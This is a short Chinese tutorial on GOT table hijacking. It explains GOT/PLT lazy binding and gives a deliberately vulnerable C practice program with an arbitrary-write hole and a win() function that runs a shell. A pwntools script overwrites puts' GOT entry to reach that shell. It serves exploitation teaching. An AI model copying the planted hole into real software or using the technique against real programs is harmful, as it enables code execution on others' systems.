GOT Hijack

GOT Hijack

GOT表劫持。

GOT和PLT

个人理解
GOT, global offset table,全局偏移表;PLTprocedure linkage table,函数链接表。
GOT和PLT是重定向的一种实现方式。在程序编译时(动态编译),在程序中会留下一些变量和函数的“坑”,这些坑只记录了程序用到的变量和符号,但并没有真正实现的代码,而程序运行时,会由解释器或动态链接器ld在这些坑中填上真正变量或函数的地址,比如我们使用到puts函数,在二进制文件中并不会把puts函数代码编译进去,而是在GOT表中留下了puts函数的一个地址,这个地址指向plt表,而plt表会通过dl_runtime_resolve来把这个函数地址解释出来,再将这个地址填回GOT表中的坑,这时GOT表的puts函数就不会再次指向plt表,而是直接指向内存中真正puts函数的地址,这种机制叫做延迟绑定
GOT 位于 .got.plt section 中,而 PLT 位于 .plt section中

GOT劫持

GOT劫持就是通过程序的漏洞或功能,将GOT表中的函数地址修改为我们想要执行的函数或代码地址,当程序再次调用该函数时,就会跳转到我们的目标地址处开始执行,进而劫持程序执行流程。

练习

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// gcc gothijack.c -no-pie -z execstack -o gothijack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[0x40];

void win(){
system("sh\n");
return;
}

int main()
{
int unsigned long long addr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
printf("What's you name?\n");
read(0, name, 0x40);
printf("Where do you want to write?\n");
scanf("%llu", &addr); // <------- 在这里输入我们想要写数据的地址,我们改为GOT表中PUTS项的地址
printf("Data: ");
read(0, (char *)addr, 8); // <-------------- 在这里输入我们想要写入的数据,改为win函数的地址
puts("Done!"); // <------------------ 当程序再次调用puts函数时,由于我们劫持了GOT表中puts函数的地址,会执行我们的win函数
printf("Thank you %s!\n", name);
return 0;
}

思路:

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r = process('./Gothijack')

r.recvuntil("name?")

r.sendline("aaa")

r.recvuntil("write?")

r.sendline(str(0x601018))

r.recvuntil("Data: ")

r.sendline(p64(0x0400796))

r.interactive()